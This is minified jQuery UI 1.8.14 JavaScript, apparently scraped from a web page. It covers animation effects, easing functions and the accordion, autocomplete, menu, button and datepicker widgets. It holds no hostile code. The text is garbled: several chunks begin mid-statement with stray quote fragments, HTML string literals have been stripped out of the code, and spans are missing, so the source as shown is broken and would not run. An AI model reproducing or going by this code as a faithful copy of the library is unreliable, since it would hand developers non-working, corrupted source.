      ").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}); n.wrap(m);m=n.parent();if(n.css("position")=="static"){m.css({position:"relative"});n.css({position:"relative"})}else{a.extend(k,{position:n.css("position"),zIndex:n.css("z-index")});a.each(["top","left","bottom","right"],function(p,q){k[q]=n.css(q);if(isNaN(parseInt(k[q],10)))k[q]="auto"});n.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})}return m.css(k).show()},removeWrapper:function(n){if(n.parent().is(".ui-effects-wrapper"))return n.parent().replaceWith(n);return n},setTransition:function(n, k,m,p){p=p||{};a.each(k,function(q,s){unit=n.cssUnit(s);if(unit[0]>0)p[s]=unit[0]*m+unit[1]});return p}});a.fn.extend({effect:function(n){var k=b.apply(this,arguments),m={options:k[1],duration:k[2],callback:k[3]};k=m.options.mode;var p=a.effects[n];if(a.fx.off||!p)return k?this[k](m.duration,m.callback):this.each(function(){m.callback&&m.callback.call(this)});return p.call(this,m)},_show:a.fn.show,show:function(n){if(f(n))return this._show.apply(this,arguments);else{var k=b.apply(this,arguments); k[1].mode="show";return this.effect.apply(this,k)}},_hide:a.fn.hide,hide:function(n){if(f(n))return this._hide.apply(this,arguments);else{var k=b.apply(this,arguments);k[1].mode="hide";return this.effect.apply(this,k)}},__toggle:a.fn.toggle,toggle:function(n){if(f(n)||typeof n==="boolean"||a.isFunction(n))return this.__toggle.apply(this,arguments);else{var k=b.apply(this,arguments);k[1].mode="toggle";return this.effect.apply(this,k)}},cssUnit:function(n){var k=this.css(n),m=[];a.each(["em","px","%", "pt"],function(p,q){if(k.indexOf(q)>0)m=[parseFloat(k),q]});return m}});a.easing.jswing=a.easing.swing;a.extend(a.easing,{def:"easeOutQuad",swing:function(n,k,m,p,q){return a.easing[a.easing.def](n,k,m,p,q)},easeInQuad:function(n,k,m,p,q){return p*(k/=q)*k+m},easeOutQuad:function(n,k,m,p,q){return-p*(k/=q)*(k-2)+m},easeInOutQuad:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k+m;return-p/2*(--k*(k-2)-1)+m},easeInCubic:function(n,k,m,p,q){return p*(k/=q)*k*k+m},easeOutCubic:function(n,k,m,p,q){return p* ((k=k/q-1)*k*k+1)+m},easeInOutCubic:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k*k+m;return p/2*((k-=2)*k*k+2)+m},easeInQuart:function(n,k,m,p,q){return p*(k/=q)*k*k*k+m},easeOutQuart:function(n,k,m,p,q){return-p*((k=k/q-1)*k*k*k-1)+m},easeInOutQuart:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k*k*k+m;return-p/2*((k-=2)*k*k*k-2)+m},easeInQuint:function(n,k,m,p,q){return p*(k/=q)*k*k*k*k+m},easeOutQuint:function(n,k,m,p,q){return p*((k=k/q-1)*k*k*k*k+1)+m},easeInOutQuint:function(n,k,m,p,q){if((k/= q/2)<1)return p/2*k*k*k*k*k+m;return p/2*((k-=2)*k*k*k*k+2)+m},easeInSine:function(n,k,m,p,q){return-p*Math.cos(k/q*(Math.PI/2))+p+m},easeOutSine:function(n,k,m,p,q){return p*Math.sin(k/q*(Math.PI/2))+m},easeInOutSine:function(n,k,m,p,q){return-p/2*(Math.cos(Math.PI*k/q)-1)+m},easeInExpo:function(n,k,m,p,q){return k==0?m:p*Math.pow(2,10*(k/q-1))+m},easeOutExpo:function(n,k,m,p,q){return k==q?m+p:p*(-Math.pow(2,-10*k/q)+1)+m},easeInOutExpo:function(n,k,m,p,q){if(k==0)return m;if(k==q)return m+p;if((k/= q/2)<1)return p/2*Math.pow(2,10*(k-1))+m;return p/2*(-Math.pow(2,-10*--k)+2)+m},easeInCirc:function(n,k,m,p,q){return-p*(Math.sqrt(1-(k/=q)*k)-1)+m},easeOutCirc:function(n,k,m,p,q){return p*Math.sqrt(1-(k=k/q-1)*k)+m},easeInOutCirc:function(n,k,m,p,q){if((k/=q/2)<1)return-p/2*(Math.sqrt(1-k*k)-1)+m;return p/2*(Math.sqrt(1-(k-=2)*k)+1)+m},easeInElastic:function(n,k,m,p,q){n=1.70158;var s=0,r=p;if(k==0)return m;if((k/=q)==1)return m+p;s||(s=q*0.3);if(r
      ").css({position:"absolute",visibility:"visible",left:-j*(i/e),top:-f*(b/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:i/e,height:b/c,left:g.left+j*(i/e)+(d.options.mode=="show"?(j-Math.floor(e/2))*(i/e):0),top:g.top+f*(b/c)+(d.options.mode=="show"?(f-Math.floor(c/2))*(b/c):0),opacity:d.options.mode=="show"?0:1}).animate({left:g.left+j*(i/e)+(d.options.mode=="show"?0:(j-Math.floor(e/2))*(i/e)),top:g.top+ f*(b/c)+(d.options.mode=="show"?0:(f-Math.floor(c/2))*(b/c)),opacity:d.options.mode=="show"?1:0},d.duration||500);setTimeout(function(){d.options.mode=="show"?h.css({visibility:"visible"}):h.css({visibility:"visible"}).hide();d.callback&&d.callback.apply(h[0]);h.dequeue();a("div.ui-effects-explode").remove()},d.duration||500)})}})(jQuery); (function(a){a.effects.fade=function(d){return this.queue(function(){var c=a(this),e=a.effects.setMode(c,d.options.mode||"hide");c.animate({opacity:e},{queue:false,duration:d.duration,easing:d.options.easing,complete:function(){d.callback&&d.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); (function(a){a.effects.fold=function(d){return this.queue(function(){var c=a(this),e=["position","top","bottom","left","right"],h=a.effects.setMode(c,d.options.mode||"hide"),g=d.options.size||15,i=!!d.options.horizFirst,b=d.duration?d.duration/2:a.fx.speeds._default/2;a.effects.save(c,e);c.show();var f=a.effects.createWrapper(c).css({overflow:"hidden"}),j=h=="show"!=i,l=j?["width","height"]:["height","width"];j=j?[f.width(),f.height()]:[f.height(),f.width()];var o=/([0-9]+)%/.exec(g);if(o)g=parseInt(o[1], 10)/100*j[h=="hide"?0:1];if(h=="show")f.css(i?{height:0,width:g}:{height:g,width:0});i={};o={};i[l[0]]=h=="show"?j[0]:g;o[l[1]]=h=="show"?j[1]:0;f.animate(i,b,d.options.easing).animate(o,b,d.options.easing,function(){h=="hide"&&c.hide();a.effects.restore(c,e);a.effects.removeWrapper(c);d.callback&&d.callback.apply(c[0],arguments);c.dequeue()})})}})(jQuery); (function(a){a.effects.highlight=function(d){return this.queue(function(){var c=a(this),e=["backgroundImage","backgroundColor","opacity"],h=a.effects.setMode(c,d.options.mode||"show"),g={backgroundColor:c.css("backgroundColor")};if(h=="hide")g.opacity=0;a.effects.save(c,e);c.show().css({backgroundImage:"none",backgroundColor:d.options.color||"#ffff99"}).animate(g,{queue:false,duration:d.duration,easing:d.options.easing,complete:function(){h=="hide"&&c.hide();a.effects.restore(c,e);h=="show"&&!a.support.opacity&& this.style.removeAttribute("filter");d.callback&&d.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); (function(a){a.effects.pulsate=function(d){return this.queue(function(){var c=a(this),e=a.effects.setMode(c,d.options.mode||"show");times=(d.options.times||5)*2-1;duration=d.duration?d.duration/2:a.fx.speeds._default/2;isVisible=c.is(":visible");animateTo=0;if(!isVisible){c.css("opacity",0).show();animateTo=1}if(e=="hide"&&isVisible||e=="show"&&!isVisible)times--;for(e=0;e
      ').appendTo(document.body).addClass(d.options.className).css({top:h.top,left:h.left,height:c.innerHeight(),width:c.innerWidth(),position:"absolute"}).animate(e,d.duration,d.options.easing,function(){g.remove();d.callback&&d.callback.apply(c[0],arguments); c.dequeue()})})}})(jQuery); (function(a){a.widget("ui.accordion",{options:{active:0,animated:"slide",autoHeight:true,clearStyle:false,collapsible:false,event:"click",fillSpace:false,header:"> li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var d=this,c=d.options;d.running=0;d.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix");d.headers= d.element.find(c.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){c.disabled||a(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){c.disabled||a(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){c.disabled||a(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){c.disabled||a(this).removeClass("ui-state-focus")});d.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom"); if(c.navigation){var e=d.element.find("a").filter(c.navigationFilter).eq(0);if(e.length){var h=e.closest(".ui-accordion-header");d.active=h.length?h:e.closest(".ui-accordion-content").prev()}}d.active=d._findActive(d.active||c.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all").toggleClass("ui-corner-top");d.active.next().addClass("ui-accordion-content-active");d._createIcons();d.resize();d.element.attr("role","tablist");d.headers.attr("role","tab").bind("keydown.accordion", function(g){return d._keydown(g)}).next().attr("role","tabpanel");d.headers.not(d.active||"").attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).next().hide();d.active.length?d.active.attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}):d.headers.eq(0).attr("tabIndex",0);a.browser.safari||d.headers.find("a").attr("tabIndex",-1);c.event&&d.headers.bind(c.event.split(" ").join(".accordion ")+".accordion",function(g){d._clickHandler.call(d,g,this);g.preventDefault()})},_createIcons:function(){var d= this.options;if(d.icons){a("").addClass("ui-icon "+d.icons.header).prependTo(this.headers);this.active.children(".ui-icon").toggleClass(d.icons.header).toggleClass(d.icons.headerSelected);this.element.addClass("ui-accordion-icons")}},_destroyIcons:function(){this.headers.children(".ui-icon").remove();this.element.removeClass("ui-accordion-icons")},destroy:function(){var d=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("tabIndex"); this.headers.find("a").removeAttr("tabIndex");this._destroyIcons();var c=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");if(d.autoHeight||d.fillHeight)c.css("height","");return a.Widget.prototype.destroy.call(this)},_setOption:function(d,c){a.Widget.prototype._setOption.apply(this,arguments);d=="active"&&this.activate(c);if(d=="icons"){this._destroyIcons(); c&&this._createIcons()}if(d=="disabled")this.headers.add(this.headers.next())[c?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(d){if(!(this.options.disabled||d.altKey||d.ctrlKey)){var c=a.ui.keyCode,e=this.headers.length,h=this.headers.index(d.target),g=false;switch(d.keyCode){case c.RIGHT:case c.DOWN:g=this.headers[(h+1)%e];break;case c.LEFT:case c.UP:g=this.headers[(h-1+e)%e];break;case c.SPACE:case c.ENTER:this._clickHandler({target:d.target},d.target); d.preventDefault()}if(g){a(d.target).attr("tabIndex",-1);a(g).attr("tabIndex",0);g.focus();return false}return true}},resize:function(){var d=this.options,c;if(d.fillSpace){if(a.browser.msie){var e=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}c=this.element.parent().height();a.browser.msie&&this.element.parent().css("overflow",e);this.headers.each(function(){c-=a(this).outerHeight(true)});this.headers.next().each(function(){a(this).height(Math.max(0,c-a(this).innerHeight()+ a(this).height()))}).css("overflow","auto")}else if(d.autoHeight){c=0;this.headers.next().each(function(){c=Math.max(c,a(this).height("").height())}).height(c)}return this},activate:function(d){this.options.active=d;d=this._findActive(d)[0];this._clickHandler({target:d},d);return this},_findActive:function(d){return d?typeof d==="number"?this.headers.filter(":eq("+d+")"):this.headers.not(this.headers.not(d)):d===false?a([]):this.headers.filter(":eq(0)")},_clickHandler:function(d,c){var e=this.options; if(!e.disabled)if(d.target){d=a(d.currentTarget||c);c=d[0]===this.active[0];e.active=e.collapsible&&c?false:this.headers.index(d);if(!(this.running||!e.collapsible&&c)){var h=this.active;f=d.next();i=this.active.next();b={options:e,newHeader:c&&e.collapsible?a([]):d,oldHeader:this.active,newContent:c&&e.collapsible?a([]):f,oldContent:i};var g=this.headers.index(this.active[0])>this.headers.index(d[0]);this.active=c?a([]):d;this._toggle(f,i,b,c,g);h.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(e.icons.headerSelected).addClass(e.icons.header); if(!c){d.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(e.icons.header).addClass(e.icons.headerSelected);d.next().addClass("ui-accordion-content-active")}}}else if(e.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(e.icons.headerSelected).addClass(e.icons.header);this.active.next().addClass("ui-accordion-content-active");var i=this.active.next(), b={options:e,newHeader:a([]),oldHeader:e.active,newContent:a([]),oldContent:i},f=this.active=a([]);this._toggle(f,i,b)}},_toggle:function(d,c,e,h,g){var i=this,b=i.options;i.toShow=d;i.toHide=c;i.data=e;var f=function(){if(i)return i._completed.apply(i,arguments)};i._trigger("changestart",null,i.data);i.running=c.size()===0?d.size():c.size();if(b.animated){e={};e=b.collapsible&&h?{toShow:a([]),toHide:c,complete:f,down:g,autoHeight:b.autoHeight||b.fillSpace}:{toShow:d,toHide:c,complete:f,down:g,autoHeight:b.autoHeight|| b.fillSpace};if(!b.proxied)b.proxied=b.animated;if(!b.proxiedDuration)b.proxiedDuration=b.duration;b.animated=a.isFunction(b.proxied)?b.proxied(e):b.proxied;b.duration=a.isFunction(b.proxiedDuration)?b.proxiedDuration(e):b.proxiedDuration;h=a.ui.accordion.animations;var j=b.duration,l=b.animated;if(l&&!h[l]&&!a.easing[l])l="slide";h[l]||(h[l]=function(o){this.slide(o,{easing:l,duration:j||700})});h[l](e)}else{if(b.collapsible&&h)d.toggle();else{c.hide();d.show()}f(true)}c.prev().attr({"aria-expanded":"false", "aria-selected":"false",tabIndex:-1}).blur();d.prev().attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}).focus()},_completed:function(d){this.running=d?0:--this.running;if(!this.running){this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""});this.toHide.removeClass("ui-accordion-content-active");if(this.toHide.length)this.toHide.parent()[0].className=this.toHide.parent()[0].className;this._trigger("change",null,this.data)}}});a.extend(a.ui.accordion,{version:"1.8.14", animations:{slide:function(d,c){d=a.extend({easing:"swing",duration:300},d,c);if(d.toHide.size())if(d.toShow.size()){var e=d.toShow.css("overflow"),h=0,g={},i={},b;c=d.toShow;b=c[0].style.width;c.width(parseInt(c.parent().width(),10)-parseInt(c.css("paddingLeft"),10)-parseInt(c.css("paddingRight"),10)-(parseInt(c.css("borderLeftWidth"),10)||0)-(parseInt(c.css("borderRightWidth"),10)||0));a.each(["height","paddingTop","paddingBottom"],function(f,j){i[j]="hide";f=(""+a.css(d.toShow[0],j)).match(/^([\d+-.]+)(.*)$/); g[j]={value:f[1],unit:f[2]||"px"}});d.toShow.css({height:0,overflow:"hidden"}).show();d.toHide.filter(":hidden").each(d.complete).end().filter(":visible").animate(i,{step:function(f,j){if(j.prop=="height")h=j.end-j.start===0?0:(j.now-j.start)/(j.end-j.start);d.toShow[0].style[j.prop]=h*g[j.prop].value+g[j.prop].unit},duration:d.duration,easing:d.easing,complete:function(){d.autoHeight||d.toShow.css("height","");d.toShow.css({width:b,overflow:e});d.complete()}})}else d.toHide.animate({height:"hide", paddingTop:"hide",paddingBottom:"hide"},d);else d.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},d)},bounceslide:function(d){this.slide(d,{easing:d.down?"easeOutBounce":"swing",duration:d.down?1E3:200})}}})})(jQuery); (function(a){var d=0;a.widget("ui.autocomplete",{options:{appendTo:"body",autoFocus:false,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},pending:0,_create:function(){var c=this,e=this.element[0].ownerDocument,h;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(g){if(!(c.options.disabled||c.element.attr("readonly"))){h= false;var i=a.ui.keyCode;switch(g.keyCode){case i.PAGE_UP:c._move("previousPage",g);break;case i.PAGE_DOWN:c._move("nextPage",g);break;case i.UP:c._move("previous",g);g.preventDefault();break;case i.DOWN:c._move("next",g);g.preventDefault();break;case i.ENTER:case i.NUMPAD_ENTER:if(c.menu.active){h=true;g.preventDefault()}case i.TAB:if(!c.menu.active)return;c.menu.select(g);break;case i.ESCAPE:c.element.val(c.term);c.close(g);break;default:clearTimeout(c.searching);c.searching=setTimeout(function(){if(c.term!= c.element.val()){c.selectedItem=null;c.search(null,g)}},c.options.delay);break}}}).bind("keypress.autocomplete",function(g){if(h){h=false;g.preventDefault()}}).bind("focus.autocomplete",function(){if(!c.options.disabled){c.selectedItem=null;c.previous=c.element.val()}}).bind("blur.autocomplete",function(g){if(!c.options.disabled){clearTimeout(c.searching);c.closing=setTimeout(function(){c.close(g);c._change(g)},150)}});this._initSource();this.response=function(){return c._response.apply(c,arguments)}; this.menu=a("
        ").addClass("ui-autocomplete").appendTo(a(this.options.appendTo||"body",e)[0]).mousedown(function(g){var i=c.menu.element[0];a(g.target).closest(".ui-menu-item").length||setTimeout(function(){a(document).one("mousedown",function(b){b.target!==c.element[0]&&b.target!==i&&!a.ui.contains(i,b.target)&&c.close()})},1);setTimeout(function(){clearTimeout(c.closing)},13)}).menu({focus:function(g,i){i=i.item.data("item.autocomplete");false!==c._trigger("focus",g,{item:i})&&/^key/.test(g.originalEvent.type)&& c.element.val(i.value)},selected:function(g,i){var b=i.item.data("item.autocomplete"),f=c.previous;if(c.element[0]!==e.activeElement){c.element.focus();c.previous=f;setTimeout(function(){c.previous=f;c.selectedItem=b},1)}false!==c._trigger("select",g,{item:b})&&c.element.val(b.value);c.term=c.element.val();c.close(g);c.selectedItem=b},blur:function(){c.menu.element.is(":visible")&&c.element.val()!==c.term&&c.element.val(c.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu"); a.fn.bgiframe&&this.menu.element.bgiframe()},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup");this.menu.element.remove();a.Widget.prototype.destroy.call(this)},_setOption:function(c,e){a.Widget.prototype._setOption.apply(this,arguments);c==="source"&&this._initSource();if(c==="appendTo")this.menu.element.appendTo(a(e||"body",this.element[0].ownerDocument)[0]);c==="disabled"&& e&&this.xhr&&this.xhr.abort()},_initSource:function(){var c=this,e,h;if(a.isArray(this.options.source)){e=this.options.source;this.source=function(g,i){i(a.ui.autocomplete.filter(e,g.term))}}else if(typeof this.options.source==="string"){h=this.options.source;this.source=function(g,i){c.xhr&&c.xhr.abort();c.xhr=a.ajax({url:h,data:g,dataType:"json",autocompleteRequest:++d,success:function(b){this.autocompleteRequest===d&&i(b)},error:function(){this.autocompleteRequest===d&&i([])}})}}else this.source= this.options.source},search:function(c,e){c=c!=null?c:this.element.val();this.term=this.element.val();if(c.length").data("item.autocomplete",e).append(a("").text(e.label)).appendTo(c)},_move:function(c,e){if(this.menu.element.is(":visible"))if(this.menu.first()&&/^previous/.test(c)||this.menu.last()&&/^next/.test(c)){this.element.val(this.term);this.menu.deactivate()}else this.menu[c](e);else this.search(null,e)},widget:function(){return this.menu.element}});a.extend(a.ui.autocomplete,{escapeRegex:function(c){return c.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&")},filter:function(c,e){var h=new RegExp(a.ui.autocomplete.escapeRegex(e),"i");return a.grep(c,function(g){return h.test(g.label||g.value||g)})}})})(jQuery); (function(a){a.widget("ui.menu",{_create:function(){var d=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(c){if(a(c.target).closest(".ui-menu-item a").length){c.preventDefault();d.select(c)}});this.refresh()},refresh:function(){var d=this;this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem").children("a").addClass("ui-corner-all").attr("tabindex", -1).mouseenter(function(c){d.activate(c,a(this).parent())}).mouseleave(function(){d.deactivate()})},activate:function(d,c){this.deactivate();if(this.hasScroll()){var e=c.offset().top-this.element.offset().top,h=this.element.scrollTop(),g=this.element.height();if(e<0)this.element.scrollTop(h+e);else e>=g&&this.element.scrollTop(h+e-g+c.height())}this.active=c.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end();this._trigger("focus",d,{item:c})},deactivate:function(){if(this.active){this.active.children("a").removeClass("ui-state-hover").removeAttr("id"); this._trigger("blur");this.active=null}},next:function(d){this.move("next",".ui-menu-item:first",d)},previous:function(d){this.move("prev",".ui-menu-item:last",d)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(d,c,e){if(this.active){d=this.active[d+"All"](".ui-menu-item").eq(0);d.length?this.activate(e,d):this.activate(e,this.element.children(c))}else this.activate(e, this.element.children(c))},nextPage:function(d){if(this.hasScroll())if(!this.active||this.last())this.activate(d,this.element.children(".ui-menu-item:first"));else{var c=this.active.offset().top,e=this.element.height(),h=this.element.children(".ui-menu-item").filter(function(){var g=a(this).offset().top-c-e+a(this).height();return g<10&&g>-10});h.length||(h=this.element.children(".ui-menu-item:last"));this.activate(d,h)}else this.activate(d,this.element.children(".ui-menu-item").filter(!this.active|| this.last()?":first":":last"))},previousPage:function(d){if(this.hasScroll())if(!this.active||this.first())this.activate(d,this.element.children(".ui-menu-item:last"));else{var c=this.active.offset().top,e=this.element.height();result=this.element.children(".ui-menu-item").filter(function(){var h=a(this).offset().top-c+e-a(this).height();return h<10&&h>-10});result.length||(result=this.element.children(".ui-menu-item:first"));this.activate(d,result)}else this.activate(d,this.element.children(".ui-menu-item").filter(!this.active|| this.first()?":last":":first"))},hasScroll:function(){return this.element.height()").addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),j=this.options.icons,l=j.primary&&j.secondary,o=[];if(j.primary||j.secondary){if(this.options.text)o.push("ui-button-text-icon"+(l?"s":j.primary?"-primary":"-secondary"));j.primary&&b.prepend("");j.secondary&&b.append("");if(!this.options.text){o.push(l?"ui-button-icons-only": "ui-button-icon-only");this.hasTitle||b.attr("title",f)}}else o.push("ui-button-text-only");b.addClass(o.join(" "))}}});a.widget("ui.buttonset",{options:{items:":button, :submit, :reset, :checkbox, :radio, a, :data(button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(b,f){b==="disabled"&&this.buttons.button("option",b,f);a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){var b=this.element.css("direction")=== "ltr";this.buttons=this.element.find(this.options.items).filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(b?"ui-corner-left":"ui-corner-right").end().filter(":last").addClass(b?"ui-corner-right":"ui-corner-left").end().end()},destroy:function(){this.element.removeClass("ui-buttonset");this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy"); a.Widget.prototype.destroy.call(this)}})})(jQuery); (function(a,d){function c(){this.debug=false;this._curInst=null;this._keyEvent=false;this._disabledInputs=[];this._inDialog=this._datepickerShowing=false;this._mainDivId="ui-datepicker-div";this._inlineClass="ui-datepicker-inline";this._appendClass="ui-datepicker-append";this._triggerClass="ui-datepicker-trigger";this._dialogClass="ui-datepicker-dialog";this._disableClass="ui-datepicker-disabled";this._unselectableClass="ui-datepicker-unselectable";this._currentClass="ui-datepicker-current-day";this._dayOverClass= "ui-datepicker-days-cell-over";this.regional=[];this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su", "Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:false,showMonthAfterYear:false,yearSuffix:""};this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:false,hideIfNoPrevNext:false,navigationAsDateFormat:false,gotoCurrent:false,changeMonth:false,changeYear:false,yearRange:"c-10:c+10",showOtherMonths:false,selectOtherMonths:false,showWeek:false,calculateWeek:this.iso8601Week,shortYearCutoff:"+10", minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:true,showButtonPanel:false,autoSize:false};a.extend(this._defaults,this.regional[""]);this.dpDiv=e(a('
        '))}function e(b){return b.bind("mouseout",function(f){f= a(f.target).closest("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a");f.length&&f.removeClass("ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover")}).bind("mouseover",function(f){f=a(f.target).closest("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a");if(!(a.datepicker._isDisabledDatepicker(i.inline?b.parent()[0]:i.input[0])||!f.length)){f.parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");f.addClass("ui-state-hover"); f.hasClass("ui-datepicker-prev")&&f.addClass("ui-datepicker-prev-hover");f.hasClass("ui-datepicker-next")&&f.addClass("ui-datepicker-next-hover")}})}function h(b,f){a.extend(b,f);for(var j in f)if(f[j]==null||f[j]==d)b[j]=f[j];return b}a.extend(a.ui,{datepicker:{version:"1.8.14"}});var g=(new Date).getTime(),i;a.extend(c.prototype,{markerClassName:"hasDatepicker",maxRows:4,log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(b){h(this._defaults, b||{});return this},_attachDatepicker:function(b,f){var j=null;for(var l in this._defaults){var o=b.getAttribute("date:"+l);if(o){j=j||{};try{j[l]=eval(o)}catch(n){j[l]=o}}}l=b.nodeName.toLowerCase();o=l=="div"||l=="span";if(!b.id){this.uuid+=1;b.id="dp"+this.uuid}var k=this._newInst(a(b),o);k.settings=a.extend({},f||{},j||{});if(l=="input")this._connectDatepicker(b,k);else o&&this._inlineDatepicker(b,k)},_newInst:function(b,f){return{id:b[0].id.replace(/([^A-Za-z0-9_-])/g,"\\\\$1"),input:b,selectedDay:0, selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:f,dpDiv:!f?this.dpDiv:e(a('
        '))}},_connectDatepicker:function(b,f){var j=a(b);f.append=a([]);f.trigger=a([]);if(!j.hasClass(this.markerClassName)){this._attachments(j,f);j.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(l,o,n){f.settings[o]= n}).bind("getData.datepicker",function(l,o){return this._get(f,o)});this._autoSize(f);a.data(b,"datepicker",f)}},_attachments:function(b,f){var j=this._get(f,"appendText"),l=this._get(f,"isRTL");f.append&&f.append.remove();if(j){f.append=a(''+j+"");b[l?"before":"after"](f.append)}b.unbind("focus",this._showDatepicker);f.trigger&&f.trigger.remove();j=this._get(f,"showOn");if(j=="focus"||j=="both")b.focus(this._showDatepicker);if(j=="button"||j=="both"){j= this._get(f,"buttonText");var o=this._get(f,"buttonImage");f.trigger=a(this._get(f,"buttonImageOnly")?a("").addClass(this._triggerClass).attr({src:o,alt:j,title:j}):a('').addClass(this._triggerClass).html(o==""?j:a("").attr({src:o,alt:j,title:j})));b[l?"before":"after"](f.trigger);f.trigger.click(function(){a.datepicker._datepickerShowing&&a.datepicker._lastInput==b[0]?a.datepicker._hideDatepicker():a.datepicker._showDatepicker(b[0]);return false})}},_autoSize:function(b){if(this._get(b, "autoSize")&&!b.inline){var f=new Date(2009,11,20),j=this._get(b,"dateFormat");if(j.match(/[DM]/)){var l=function(o){for(var n=0,k=0,m=0;mn){n=o[m].length;k=m}return k};f.setMonth(l(this._get(b,j.match(/MM/)?"monthNames":"monthNamesShort")));f.setDate(l(this._get(b,j.match(/DD/)?"dayNames":"dayNamesShort"))+20-f.getDay())}b.input.attr("size",this._formatDate(b,f).length)}},_inlineDatepicker:function(b,f){var j=a(b);if(!j.hasClass(this.markerClassName)){j.addClass(this.markerClassName).append(f.dpDiv).bind("setData.datepicker", function(l,o,n){f.settings[o]=n}).bind("getData.datepicker",function(l,o){return this._get(f,o)});a.data(b,"datepicker",f);this._setDate(f,this._getDefaultDate(f),true);this._updateDatepicker(f);this._updateAlternate(f);f.dpDiv.show()}},_dialogDatepicker:function(b,f,j,l,o){b=this._dialogInst;if(!b){this.uuid+=1;this._dialogInput=a('');this._dialogInput.keydown(this._doKeyDown);a("body").append(this._dialogInput); 